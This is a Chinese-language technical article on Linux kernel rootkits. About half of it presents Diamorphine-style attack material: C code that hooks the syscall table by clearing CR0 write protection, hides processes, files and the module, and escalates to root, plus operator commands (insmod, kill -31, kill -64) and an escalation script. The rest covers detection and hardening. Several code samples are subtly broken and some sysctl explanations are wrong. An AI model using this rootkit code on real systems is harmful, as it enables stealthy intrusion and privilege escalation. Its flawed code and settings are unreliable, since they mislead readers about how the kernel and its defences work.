Rootkit 是信息安全的“暗物质”——你看不见它,但它可能无处不在。想象一下,你的服务器 top 命令显示 CPU 占用率正常,而一个挖矿木马正在后台全速运转;ps 命令显示系统干干净净,攻击者却正通过一个你绝对想不到的 PID 连接着矿池。这就是 Rootkit 的恐怖之处:它不仅隐藏自己,还能在你眼皮底下完成所有操作,而你还以为一切正常。
一、Rootkit的本质:内核级操控的艺术
为什么Rootkit如此可怕
传统恶意软件 vs Rootkit:
传统恶意软件(在用户态运行):
┌─────────────────────────────────┐
│ 用户空间 │
│ ┌─────────┐ │
│ │ 恶意程序 │ ← ps/top 可以看到 │
│ └─────────┘ │
│ ┌─────────┐ │
│ │ 系统命令 │ ← 可能被杀软检测 │
│ └─────────┘ │
└─────────────────────────────────┘
↓ 系统调用
┌─────────────────────────────────┐
│ 内核空间 │
│ (系统调用接口) │
└─────────────────────────────────┘
Rootkit(在 内核 空间运行):
┌─────────────────────────────────┐
│ 用户空间 │
│ ┌─────────┐ │
│ │ 系统命令 │ ← 被Rootkit劫持 │
│ │ ps/top │ ← 返回假数据 │
│ └─────────┘ │
└─────────────────────────────────┘
↓ 系统调用(被Hook)
┌─────────────────────────────────┐
│ 内核空间 │
│ ┌─────────────────────────┐ │
│ │ Rootkit(LKM模块) │ ← 对杀软不可见 │
│ │ Hook系统调用 │ │
│ └─────────────────────────┘ │
│ ┌─────────────────────────┐ │
│ │ 真实系统调用 │ ← 被Rootkit拦截 │
│ └─────────────────────────┘ │
└─────────────────────────────────┘
关键差异:
| 维度 |
用户态恶意软件 |
Rootkit(内核态) |
| 可见性 |
对用户可见 |
对用户完全不可见 |
| 检测难度 |
容易被杀软检测 |
传统杀软几乎无法检测 |
| 权限级别 |
普通用户/root |
内核级权限 |
| 持久性 |
进程可能被kill |
内核模块常驻,系统启动即加载 |
| 隐蔽性 |
文件可能被发现 |
文件、进程、网络全隐藏 |
| 影响力 |
影响单个进程 |
影响整个系统所有操作 |
Rootkit的历史演变
从 1980 年代到今天,Rootkit 经历了三次重大技术迭代:
Rootkit进化史
│
├─ 第一代(1990-2000):用户态Rootkit
│ ├─ 替换系统二进制文件(ps、ls、netstat)
│ ├─ 寄生在正常程序中
│ └─ 检测方法:md5sum校验、文件完整性监控
│
├─ 第二代(2000-2010):内核态Rootkit(LKM)
│ ├─ 加载为Linux内核模块
│ ├─ Hook系统调用表
│ ├─ 检测方法:内核模块列表检查、系统调用表完整性
│
└─ 第三代(2010至今):高级隐藏技术
├─ Hook更底层的内核函数
├─ 利用VFS层隐藏文件
├─ DKOM(Direct Kernel Object Manipulation)
├─ 进程PID隐藏
├─ 网络连接隐藏
└─ 利用eBPF/内核漏洞
二、Diamorphine Rootkit:教科书级的LKM攻击
Diamorphine项目分析
Diamorphine 是目前最流行的开源 LKM Rootkit 之一,也是我们分析的主要对象。
项目特征:
| 属性 |
描述 |
| 语言 |
C(内核模块) |
| 平台 |
Linux x86/x86_64 |
| 内核版本 |
2.6 - 5.x(理论上支持) |
| 主要功能 |
进程隐藏、模块隐藏、文件隐藏、root权限获取 |
| 隐蔽等级 |
高 |
| 公开程度 |
GitHub开源,任何人都可以下载研究 |
项目结构:
diamorphine/
├── diamorphine.c # 主模块代码
├── diamorphine.h # 头文件
├── Makefile # 编译脚本
├── README.md # 使用说明
└── secretkiller.c # 提权工具(需单独编译)
核心代码剖析:Hook系统调用
Diamorphine 通过 Hook 系统调用 实现隐藏。
系统调用是什么?
用户程序想要读取文件
↓
glibc库函数 read()
↓
系统调用:sys_read 或 __NR_read
↓
内核执行 read 系统调用处理函数
↓
返回结果给用户
Diamorphine如何Hook?
// 简化版的Hook原理
// 原始系统调用表
static int(*original_getdents64)(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
// Hook后的函数
static int hooked_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
// 第1步:调用原始系统调用,获取真实结果
int ret = original_getdents64(fd, dirp, count);
// 第2步:处理返回结果(目录遍历结果)
if (ret > 0) {
struct linux_dirent64 *d = dirp;
int bpos = 0;
// 第3步:遍历目录项,隐藏目标
for (;;) {
// 如果是需要隐藏的文件/目录
if (should_hide(d->d_name)) {
// 从返回缓冲区中移除这个目录项
remove_dirent(d, dirp, &bpos, &ret);
continue;
}
// 移动到下一个目录项
d = (struct linux_dirent64 *)((char *)d + d->d_reclen);
bpos += d->d_reclen;
if (bpos >= ret)
break;
}
}
return ret;
}
// 安装Hook
static int hook_syscall(void) {
// 保存原始函数指针
original_getdents64 = (void *)sys_call_table[__NR_getdents64];
// 关闭写保护(内核页面保护)
write_cr0(read_cr0() & (~0x10000));
// 替换为Hook函数
sys_call_table[__NR_getdents64] = (unsigned long)hooked_getdents64;
// 重新开启写保护
write_cr0(read_cr0() | 0x10000);
return 0;
}
进程隐藏技术详解
这是 Diamorphine 最核心的功能之一。
Linux如何实现进程隐藏?
// Diamorphine的进程隐藏实现
// 定义Magic信号
#define SIG_HIDE 31 // 隐藏进程
#define SIG_ROOT 64 // 获取root
#define SIG_MOD 63 // 隐藏模块
// 遍历所有进程的函数
static struct task_struct *find_task(pid_t pid) {
struct task_struct *task;
// for_each_process 是内核提供的宏,遍历所有进程
for_each_process(task) {
if (task->pid == pid) {
return task;
}
}
return NULL;
}
// 设置进程为“不可见”
static int hide_process(pid_t pid) {
struct task_struct *task;
task = find_task(pid);
if (!task)
return -ESRCH;
// 关键操作:将进程标志设置为 PF_INVISIBLE
// 这是Diamorphine自定义的标志,不在标准Linux内核中
task->flags |= PF_INVISIBLE;
// 从PID哈希表中移除(破坏进程查找数据结构)
detach_pid(task, PIDTYPE_PID);
return 0;
}
// 从PIDTYPE_PID哈希表中断开
static void detach_pid(struct task_struct *task, enum pid_type type) {
struct upid *upid;
unsigned nr;
// 获取PID号
nr = pid_nr(task->pids[type].nr);
// 从内核的PID哈希表中移除
// 这会导致find_pid_ns等函数找不到这个进程
hlist_del_rcu(&task->pids[type].node);
// 更新进程计数
put_pid_ns(task->pids[type].nr, task->nsproxy->pid_ns_for_children);
}
// 关键:设置 PF_INVISIBLE 标志
// 这个标志会被内核代码检查,如果设置则隐藏进程
PF_INVISIBLE标志的定义:
// 在 Diamorphine 中定义的“隐藏进程”标志
// 这不是Linux内核的标准标志,而是一个自定义标志
// 被hook的函数会检查这个标志来隐藏进程
// 在 kernel/fork.c 中,PF_* 标志的定义通常如下:
/* 进程的进程标志(task_struct->flags) */
#define PF_INVISIBLE 0x04000000 /* Diamorphine自定义 - 隐藏进程 */
/*
* 当ps、top等命令读取/proc时
* 内核会调用do_task_stat等函数
* Diamorphine hook了相关函数,检查这个标志
* 如果进程设置了这个标志,就不显示它
*/
Magic Signal:攻击者的“遥控器”
Diamorphine 通过信号机制实现“后门命令”。
原理:
// Hook kill 系统调用
static int hooked_kill(struct task_struct *tsk, int sig) {
struct task_struct *target;
pid_t pid;
// 从寄存器获取目标PID
// 注意:这里简化了,实际代码更复杂
switch(sig) {
case SIG_HIDE: // 31 = 隐藏进程
pid = target_pid_from_kill_args();
hide_process(pid);
return 0;
case SIG_ROOT: // 64 = 获取root权限
// 提权逻辑
elevate_to_root(pid);
return 0;
case SIG_MOD: // 63 = 隐藏模块
// 隐藏Rootkit自身
hide_module(diamorphine_module);
return 0;
}
// 非魔法信号,调用原始kill
return original_kill(tsk, sig);
}
攻击者如何使用:
# 加载Rootkit模块
insmod diamorphine.ko
# 隐藏挖矿进程(假设PID是1234)
kill -31 1234
# 隐藏Rootkit自身
kill -31 1 # 隐藏模块自身的PID(模块没有PID,但可以隐藏模块)
# 获取root权限(针对某个setuid程序)
kill -64 5678 # 针对sudo或su进程,执行后调用者获得root
# 验证隐藏效果
ps aux | grep miner
# 无输出(进程已被隐藏)
lsmod | grep diamorphine
# 无输出(模块已被隐藏)
提权(Root Escalation)原理
Diamorphine 如何实现权限提升?
// 提权函数简化版
static int elevate_to_root(pid_t pid) {
struct task_struct *task;
struct cred *new_cred;
task = find_task(pid);
if (!task)
return -ESRCH;
// 分配新的凭证结构
new_cred = prepare_creds();
if (!new_cred)
return -ENOMEM;
// 关键:将所有UID/GID设置为0(root)
new_cred->uid = GLOBAL_ROOT_UID;
new_cred->euid = GLOBAL_ROOT_UID;
new_cred->suid = GLOBAL_ROOT_UID;
new_cred->fsuid = GLOBAL_ROOT_UID;
new_cred->gid = GLOBAL_ROOT_GID;
new_cred->egid = GLOBAL_ROOT_GID;
new_cred->sgid = GLOBAL_ROOT_GID;
new_cred->fsgid = GLOBAL_ROOT_GID;
// 提交新凭证
commit_creds(new_cred);
return 0;
}
提权的实际利用场景:
#!/bin/bash
# elevation.sh
# 利用Diamorphine进行权限提升
echo " Looking for processes we can target..."
# 找到一个带有SUID权限的程序
# 通常选择 bash 或 sh,因为它们可能被设置为SUID root
# 方法1:针对当前shell
# 如果当前shell是普通用户,可以通过kill触发提权
# 方法2:针对SUID程序
for pid in $(pgrep -f "su-root|sudo"); do
echo "[+] Sending SIGROOT to $pid"
kill -64 $pid
done
# 验证
id
# 应该显示:uid=0(root) gid=0(root)
# 或者更隐蔽的方式
# 攻击者通过某种渠道发送信号后直接获得root
文件与目录隐藏
Diamorphine 通过 hook getdents/getdents64 来隐藏文件:
// 文件隐藏实现
// 检查文件名是否符合隐藏条件
static int should_hide_file(const char *name) {
// 1. 检查是否匹配 “diamorphine” 字符串
if (strstr(name, "diamorphine"))
return 1;
// 2. 检查是否以 “.” 开头(隐藏文件)
if (name[0] == '.')
return 1;
// 3. 检查是否在隐藏列表中
if (is_in_hide_list(name))
return 1;
// 4. 检查是否匹配magic prefix(自定义隐藏)
if (starts_with(name, MAGIC_PREFIX))
return 1;
return 0;
}
// Hook getdents64
static int hooked_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
// 调用原始系统调用
int ret = original_getdents64(fd, dirp, count);
if (ret <= 0)
return ret;
// 遍历返回的目录项,移除需要隐藏的文件
char *ptr = (char *)dirp;
int remaining = ret;
while (remaining > 0) {
struct linux_dirent64 *d = (struct linux_dirent64 *)ptr;
int len = d->d_reclen;
if (should_hide_file(d->d_name)) {
// 从缓冲区中移除这个目录项
// 方法:将该项之后的所有数据向前移动
memmove(ptr, ptr + len, remaining - len);
ret -= len;
}
remaining -= len;
ptr += len;
}
return ret;
}
三、现代Rootkit的高级技术
技术1:VFS层Hook
Virtual File System(虚拟文件系统)层 Hook 比系统调用表 Hook 更难检测。
原理:
正常文件操作:
┌─────────┐ ┌─────────┐ ┌─────────┐
│ 用户程序│ ──→ │ VFS层 │ ──→ │ Ext4/ │
│ open() │ │ │ │ XFS等 │
└─────────┘ └─────────┘ └─────────┘
↑
VFS提供统一的文件操作接口
Hook VFS = 拦截所有文件操作
Rootkit Hook后:
┌─────────┐ ┌─────────┐ ┌─────────┐
│ 用户程序│ ──→ │ Rootkit │ ──→ │ VFS层 │ ──→ │ Ext4/ │
│ open() │ │ Hook │ │ │ │ XFS等 │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
↑
Rootkit可以修改文件路径、返回假数据
实现代码:
// VFS Hook示例:hook struct file_operations
// 原始的ext4文件操作
static struct file_operations *orig_file_ops;
// 我们的hook函数
static ssize_t hooked_read(struct file *file, char __user *buf,
size_t count, loff_t *pos) {
// 检查是否读取被监控的文件
if (should_hide_file(file->f_path.dentry->d_name.name)) {
// 返回空或假数据
return -ENOENT;
}
// 否则调用原始函数
return orig_file_ops->read(file, buf, count, pos);
}
// 安装VFS Hook
static int init_vfs_hook(void) {
// 获取ext4的文件操作结构
struct file_system_type *fs_type = get_fs_type("ext4");
struct super_block *sb = fs_type->get_sb(NULL);
struct inode *inode = sb->s_root->d_inode;
// 保存原始操作
orig_file_ops = inode->i_fop;
// 创建新的操作结构(只修改read)
struct file_operations *new_ops = kmemdup(orig_file_ops,
sizeof(*orig_file_ops),
GFP_KERNEL);
new_ops->read = hooked_read;
// 替换
inode->i_fop = new_ops;
return 0;
}
技术2:DKOM(Direct Kernel Object Manipulation)
直接操作内核对象,绕过传统函数 Hook 检测。
进程链表操纵:
// DKOM:直接从内核的进程链表中移除进程
static int hide_process_dkom(pid_t pid) {
struct task_struct *task;
// 找到目标进程
task = find_task(pid);
if (!task)
return -1;
// 从内核的进程链表中断开
// task_struct 中有这些链表节点:
// - tasks: 所有进程的链表
// - pids[PIDTYPE_PID].node: PID哈希表节点
// 从主进程链表中断开
list_del_rcu(&task->tasks);
// 同步
synchronize_rcu();
// 从PID哈希表中移除
hlist_del_rcu(&task->pids[PIDTYPE_PID].node);
return 0;
}
检测DKOM攻击的难点:
传统检测方法依赖:
1. 读取 /proc 目录 → 被Rootkit hook后返回假数据
2. 遍历task链表 → Rootkit可以修改链表
3. 遍历PID哈希表 → Rootkit可以修改哈希表
根本问题:
Rootkit运行在内核态,和检测工具运行在同一空间
Rootkit可以hook任何检测代码
技术3:eBPF Rootkit(新兴威胁)
eBPF(Extended Berkeley Packet Filter)是 Linux 内核的革命性技术,但也被 Rootkit 利用。
eBPF的优势:
| 传统LKM Rootkit |
eBPF Rootkit |
| 需要root权限加载 |
可以普通用户加载(某些情况) |
| 需要内核源码兼容 |
有内核验证器保护 |
| 修改内核数据 |
不修改内核代码 |
| 容易被lsmod发现 |
lsmod看不到eBPF程序 |
| 签名难绕过 |
内核验证器有白名单 |
eBPF Rootkit示例:
// eBPF程序:拦截execve系统调用
#include<linux/bpf.h>
#include<linux/sched.h>
// eBPF程序的License(必须GPL)
SEC("license") static int gpl_license = GPL_LIB;
// eBPF辅助函数:获取当前进程名
SEC("raw_tracepoint/sys_enter")
int trace_execve(struct pt_regs *regs) {
char comm[TASK_COMM_LEN];
// 获取当前进程名
bpf_get_current_comm(&comm, sizeof(comm));
// 如果是“xmrig”进程
if (bpf_strncmp(comm, 5, "xmrig") == 0) {
// 阻止执行(返回错误)
return -1;
}
return 0;
}
eBPF Rootkit的利用方式:
# 使用bcc工具加载eBPF程序
python3 << 'EOF'
from bcc import BPF
program = """
SEC("raw_tracepoint/sys_enter")
int trace_execve(struct pt_regs *regs) {
char comm[16];
bpf_get_current_comm(&comm, 16);
// 隐藏xmrig进程
if (bpf_strncmp(comm, 5, "xmrig") == 0) {
return 0; // 静默丢弃
}
return 0;
}
"""
b = BPF(text=program)
EOF
四、Rootkit检测技术
方法1:内核模块签名验证
内核模块签名是防止未授权 LKM 加载的基本防护。
# 检查内核模块签名是否启用
cat /proc/cmdline | grep -i module.sig
# 如果内核启用了模块签名
# 需要签名才能加载模块
# 攻击者无法直接insmod未签名模块
# 启用模块签名(编译内核时配置)
CONFIG_MODULE_SIG=y
CONFIG_MODULE_SIG_FORCE=y
CONFIG_MODULE_SIG_ALL=y
CONFIG_SYSTEM_TRUSTED_KEYS="debian/canonical-certs.pem"
CONFIG_MODULE_SIG_KEY="debian/certs/signing_key.pem"
限制: 仅防止新模块加载,已加载的 Rootkit 不受影响。
方法2:基于内核数据结构的完整性检查
检查系统调用表是否被篡改。
// 检查系统调用表完整性
#include<linux/module.h>
#include<linux/kernel.h>
// 内核导出的sys_call_table(需要内核调试支持)
extern unsigned long *sys_call_table;
static int check_syscall_table(void) {
unsigned long orig_cr0;
// 读取CR0寄存器的WP位
orig_cr0 = read_cr0();
// 如果WP位是1(写保护启用),直接读取
if (!(orig_cr0 & 0x10000)) {
printk(KERN_ALERT "Write protection disabled!\n");
return -1;
}
// 读取可疑的系统调用
unsigned long addr = sys_call_table[__NR_getdents64];
// 检查地址是否在内核代码段
if (!is_kernel_text_addr(addr)) {
printk(KERN_ALERT "Suspicious syscall handler: %lx\n", addr);
return -1;
}
return 0;
}
static int __init integrity_check_init(void) {
return check_syscall_table();
}
module_init(integrity_check_init);
MODULE_LICENSE("GPL");
方法3:进程隐藏检测
通过不依赖 /proc 的方法检测隐藏进程。
// 方法1:直接读取内核调度器数据结构
static int find_hidden_processes(void) {
struct task_struct *task;
int count = 0;
int hidden = 0;
// 遍历所有PID(内核维护的PID管理结构)
struct pid *pid;
struct upid *upid;
unsigned int i;
struct pid_namespace *ns = &init_pid_ns;
// 遍历PID哈希表
for (i = 0; i < PIDMAP_ENTRIES; i++) {
struct hlist_head *head = &ns->pidmap[i];
hlist_for_each_entry_rcu(upid, head, pid_chain) {
pid = container_of(upid, struct pid, numbers[0]);
task = pid_task(pid, PIDTYPE_PID);
if (task) {
count++;
// 检查是否有PF_INVISIBLE标志
if (task->flags & 0x04000000) {
hidden++;
printk("Hidden process found: PID=%d, name=%s\n",
task->pid, task->comm);
}
}
}
}
printk("Total processes: %d, Hidden: %d\n", count, hidden);
return hidden;
}
方法4:基于eBPF的Rootkit检测
利用 eBPF “魔高一尺,道高一丈”的检测方法。
#!/usr/bin/env python3
# eBPF-based rootkit detector
# 使用eBPF检测进程隐藏和系统调用Hook
from bcc import BPF
import subprocess
program = """
#include <linux/sched.h>
#include <linux/ptrace.h>
// 检测隐藏进程
// 通过遍历PID哈希表查找,与/proc对比
struct proc_info {
pid_t pid;
char comm[TASK_COMM_LEN];
};
// 从/proc读取的进程(对比用)
BPF_HASH(proc_seen, pid_t, struct proc_info);
// 计数器
BPF_ARRAY(hidden_pids, int, 1);
int detect_hidden_process(struct pt_regs *regs) {
pid_t pid = bpf_get_current_pid_tgid() >> 32;
// 遍历内核的进程链表
struct task_struct *task;
struct task_struct *iter;
// 读取task_struct的tasks链表
bpf_repeat_init(&task, typeof(task), sizeof(task));
// 遍历所有进程(通过for_each_process宏)
// 这里需要内核内部结构,eBPF限制较多
return 0;
}
// 检测sys_call_table被修改
int check_syscall_hook(struct pt_regs *regs) {
// 读取被调用的系统调用号
int syscall_nr = PT_REGS_IP(regs) & 0xfff;
// 获取处理函数地址
unsigned long *sys_call_table; // 需要kprobe
unsigned long handler = sys_call_table[syscall_nr];
// 检查地址是否在可信范围
if (handler < START_KERNEL_MAP || handler > END_KERNEL_MAP) {
// 可疑的syscall handler
bpf_trace_printk("Suspicious syscall %d handler: %lx\\n",
syscall_nr, handler);
}
return 0;
}
"""
def main():
print(" eBPF-based Rootkit Detection")
# 加载eBPF程序
b = BPF(text=program)
# attach kprobe到系统调用入口
b.attach_kprobe(event="__x64_sys_getdents64",
fn_name="check_syscall_hook")
print(" Monitoring system calls...")
print(" Press Ctrl+C to stop")
# 输出
b.trace_print()
if __name__ == "__main__":
main()
方法5:自动化Rootkit检测工具
专业工具的原理和使用:
# 1. rkhunter(Rootkit Hunter)
# 检测文件属性、隐藏进程、系统调用表等
rkhunter --check --sk
# 检测项:
# - 文件属性异常
# - LKM隐藏(/proc/modules vs lsmod)
# - 网络接口异常
# - 恶意字符串
# 2. chkrootkit
# 传统Rootkit检测工具
chkrootkit -n
# 检测项:
# - 系统命令被替换
# - LKM Rootkit
# - 隐藏进程
# - 网络异常
# 3. Lynis
# Linux安全审计工具
lynis audit system
# 4. AIDE(Advanced Intrusion Detection Environment)
# 文件完整性检查
aide --check
# 需要先建立基准数据库
aide --init
aide --update
# 5. OSSEC
# 基于主机的入侵检测
ossec-control start
# 实时监控:
# - 文件完整性
# - 系统日志
# - 进程监控
# - 网络连接
五、容器环境中的Rootkit威胁
容器与Rootkit的关系
关键问题:Rootkit 能在容器内工作吗?
答案:可以,但有限制。
┌─────────────────────────────────────────────────────────┐
│ 宿主机(Host) │
│ ┌──────────────────────────────────────────────────┐ │
│ │ 内核空间 │ │
│ │ ┌─────────────────────────────────────────────┐ │ │
│ │ │ Diamorphine Rootkit(LKM) │ │ │
│ │ │ - Hook sys_call_table │ │ │
│ │ │ - 隐藏进程/文件/网络连接 │ │ │
│ │ │ │ │ │
│ │ └─────────────────────────────────────────────┘ │ │
│ │ │ │
│ │ ┌────────┐ ┌────────┐ ┌────────┐ │ │
│ │ │Container│ │Container│ │Container│ │ │
│ │ │ 容器1 │ │ 容器2 │ │ 容器3 │ │ │
│ │ │(Apline) │ │(Ubuntu)│ │(CentOS) │ │ │
│ │ └────────┘ └────────┘ └────────┘ │ │
│ └──────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
容器内攻击Rootkit的场景:
场景1:宿主机已植入Rootkit
- 攻击者通过容器逃逸获得宿主机root
- 在宿主机加载Rootkit
- 所有容器的系统调用被Rootkit hook
- 容器内检测几乎不可能(因为rootkit在宿主机)
场景2:容器内独立Rootkit(罕见)
- 需要容器有CAP_SYS_MODULE能力
- 容器以特权模式运行
- 可以加载内核模块到宿主机内核
- 这是容器逃逸的一种方式
容器内Rootkit检测
#!/bin/bash
# container_rootkit_check.sh
# 容器内的Rootkit检测脚本
echo "=== Container Rootkit Detection ==="
# 1. 检查内核模块(如果容器有能力)
echo "[1] Checking kernel modules..."
if [ -w "/proc/modules" ]; then
echo " [WARN] Container can write to /proc/modules"
cat /proc/modules | head -20
else
echo " [OK] Cannot read modules (likely safe)"
fi
# 2. 检查系统调用表是否可写
echo "[2] Checking syscall table writability..."
cr0=$(cat /proc/meminfo | grep -i "writable" || echo "readonly")
echo " CR0: $cr0"
# 3. 检查隐藏进程(通过遍历/proc)
echo "[3] Checking for hidden processes..."
visible_pids=$(ls -1 /proc | grep -E '^[0-9]+$' | wc -l)
echo " Visible PIDs: $visible_pids"
# 4. 检查网络连接(异常端口)
echo "[4] Checking network connections..."
netstat -tuln 2>/dev/null || ss -tuln
# 5. 检查启动时加载的可疑文件
echo "[5] Checking startup files..."
for f in /etc/rc.local /etc/init.d/* /etc/profile.d/*; do
if [ -f "$f" ]; then
if grep -qi "wget\|curl\|eval\|base64\|chmod +x" "$f" 2>/dev/null; then
echo " [SUSPICIOUS] $f contains suspicious commands"
fi
fi
done
# 6. 检查SSH authorized_keys
echo "[6] Checking SSH authorized_keys..."
if [ -f "/root/.ssh/authorized_keys" ]; then
keys=$(wc -l < /root/.ssh/authorized_keys)
echo " $keys keys in authorized_keys"
if [ "$keys" -gt 3 ]; then
echo " [WARN] More than 3 SSH keys"
fi
fi
echo "=== Detection Complete ==="
六、防御方案:构建Rootkit防御体系
纵深防御架构
Rootkit防御体系
│
├─ 预防层(Preventive)
│ ├─ 内核模块签名强制
│ ├─ 禁用LKM加载(如果不需要)
│ ├─ 内核加固参数
│ └─ 安全启动(UEFI Secure Boot)
│
├─ 检测层(Detective)
│ ├─ 文件完整性监控(AIDE)
│ ├─ 内核完整性检查
│ ├─ 行为异常检测(Falco)
│ ├─ eBPF监控
│ └─ 定期扫描(rkhunter/chkrootkit)
│
├─ 响应层(Responsive)
│ ├─ 自动化告警
│ ├─ 事件响应流程
│ ├─ 隔离与取证
│ └─ 系统重建
│
└─ 恢复层(Recovery)
├─ 备份验证
├─ 干净系统重建
└─ 数据完整性验证
内核加固配置
# /etc/sysctl.conf 内核安全加固
# 禁止加载内核模块(除非明确允许)
kernel.modules_disabled = 1
# 禁止修改dmesg(隐藏内核消息)
kernel.dmesg_restrict = 1
# 禁止ptrace(防止进程注入)
kernel.yama.ptrace_scope = 2
# 0 = 经典(所有进程可以ptrace)
# 1 = 受限(只有父进程可以)
# 2 = 仅管理员(需要CAP_SYS_PTRACE)
# 3 = 完全禁止
# 禁止访问/proc/kcore(内核内存转储)
kernel.kptr_restrict = 2
# 0 = 无限制
# 1 = 仅root用户可访问(非特权用户看到0)
# 2 = 完全禁止
# 启用地址空间随机化(ASLR)
kernel.randomize_va_space = 2
# 0 = 关闭
# 1 = 部分开启
# 2 = 完全开启(栈、堆、共享库、VDSO)
# 网络层安全
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0
net.ipv4.conf.all.forwarding = 0
net.ipv4.conf.all.send_redirects = 0
# 启用TCP_syncookies(SYN洪泛防护)
net.ipv4.tcp_syncookies = 1
# 应用这些配置
sysctl -p
容器环境加固
# K8s Pod安全上下文
apiVersion: v1
kind: Pod
metadata:
name: hardened-pod
spec:
securityContext:
# 不允许任何特权
privileged: false
# 必须以非root运行
runAsNonRoot: true
# 用户ID范围
runAsUser: 10000
# 文件系统只读
readOnlyRootFilesystem: true
# 禁止提升权限
allowPrivilegeEscalation: false
# Seccomp配置
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: myapp:latest
securityContext:
# 丢弃所有能力
capabilities:
drop:
- ALL
# 不允许特权升级
privileged: false
# 只读文件系统
readOnlyRootFilesystem: true
# 禁止执行容器外代码
allowPrivilegeEscalation: false
# 临时存储
tmpfs:
- size: 100M
mountPath: /tmp
readOnly: false
持续监控体系
# Falco规则:检测Rootkit行为
apiVersion: v1
kind: ConfigMap
metadata:
name: falco-config
data:
falco.yaml: |
rules_file:
- /etc/falco/falco_rules.yaml
- /etc/falco/rootkit_rules.yaml
rootkit_rules.yaml: |
- rule: Load Kernel Module
desc: Detect kernel module loading
condition: >
evt.type = init_module
or evt.type = finit_module
output: >
Kernel module loaded
(user=%user.name command=%proc.cmdline module=%evt.arg.res)
priority: CRITICAL
- rule: Hidden Process Detected
desc: Detect potential hidden process
condition: >
proc.name != event_sampler
and count(proc.name) by (pid) > 1
output: >
Possible hidden process
(pid=%proc.pid proc=%proc.name)
priority: WARNING
- rule: Suspicious Syscall
desc: Detect suspicious syscall patterns
condition: >
evt.type = ptrace
and not proc.name in (shell_programs)
output: >
Suspicious ptrace call
(user=%user.name pid=%proc.pid target=%proc.name)
priority: WARNING
七、案例:一次真实的Rootkit排查
背景
某公司发现云服务器CPU使用率异常高,
但top命令看不到任何高CPU进程。
安全团队介入调查。
排查过程
第一步:初步分析
$ top
# 输出:CPU idle 60%,但业务响应极慢
$ ps aux | head -20
# 输出:看起来正常
$ ps aux | grep -v grep | wc -l
# 输出:87个进程
第二步:进程数对比
# 读取/proc/pid目录数量(不依赖ps)
$ ls -d /proc/[0-9]* | wc -l
# 输出:127个进程
# 发现差异!有40个进程被隐藏了!
第三步:深度检查
# 检查/proc中的PID列表
$ ls /proc | grep -E '^[0-9]+$' | sort -n | tail -20
# 输出:显示到1258
# 但通过其他方式看到的进程数不对
# 再次验证:
$ for pid in $(ls /proc | grep -E '^[0-9]+$'); do
if [ -f /proc/$pid/cmdline ]; then
echo $pid;
fi;
done | wc -l
# 输出:87
# 确定:有127个PID目录,但只有87个可以读取
# 说明:40个进程的目录被隐藏了
第四步:验证Rootkit存在
# 使用strace跟踪系统调用
$ strace -f ps aux 2>&1 | grep -i "getdents"
# 输出:正常
# 检查内核模块
$ lsmod | grep -i diamorphine
# 无输出(模块可能被隐藏)
# 尝试直接读取内核模块链表
$ cat /sys/module/diamorphine/parameters/magic
# Permission denied 或 文件不存在
第五步:确认
# 使用rkhunter
$ rkhunter --check --sk
# 输出:
# [1999] Checking for hidden processes [ Warning ]
# [2001] Checking for LKM hide header [ Warning ]
# 确认:系统存在Rootkit
第六步:响应
决策:服务器需要重建
原因:Rootkit可能已获取root权限,系统已不可信
步骤:
1. 断开网络连接(保留取证)
2. 导出系统镜像(用于事后分析)
3. 从干净备份重建服务器
4. 重新部署应用
5. 修改所有可能泄露的凭证
6. 加强监控
结语:Rootkit战争远未结束
攻与防的永恒博弈:
Rootkit技术进化 ←→ 检测技术进化
↑ ↑
└────────────────────┘
螺旋式上升
今天的主流检测方法:
- 内核模块签名
- 完整性监控
- 行为分析
明天的Rootkit技术:
- 固件Rootkit(BIOS/UEFI)
- 虚拟化Rootkit(hypervisor)
- eBPF Rootkit
- 内核代码注入(无模块)
防御的最终理念:
- 预防胜于检测:加固系统,让 Rootkit 难以植入
- 检测胜于响应:建立纵深检测体系,快速发现异常
- 最小权限:不给攻击者足够的权限空间
- 持续监控:安全不是一次配置,而是持续运营
最重要的原则:
如果系统已经被 Rootkit 入侵,最安全的做法是从干净的系统重新开始。不要试图“清理”一个已知的被入侵系统——你无法 100% 确认清理干净了。
对于希望深入了解 安全/渗透/逆向 领域,特别是系统底层攻防技术的朋友,可以参考相关技术社区的讨论和资源进行扩展学习。关于 Linux 内核 和系统安全的更多实践,也可以在 云栈社区 找到丰富的技术讨论和案例分享。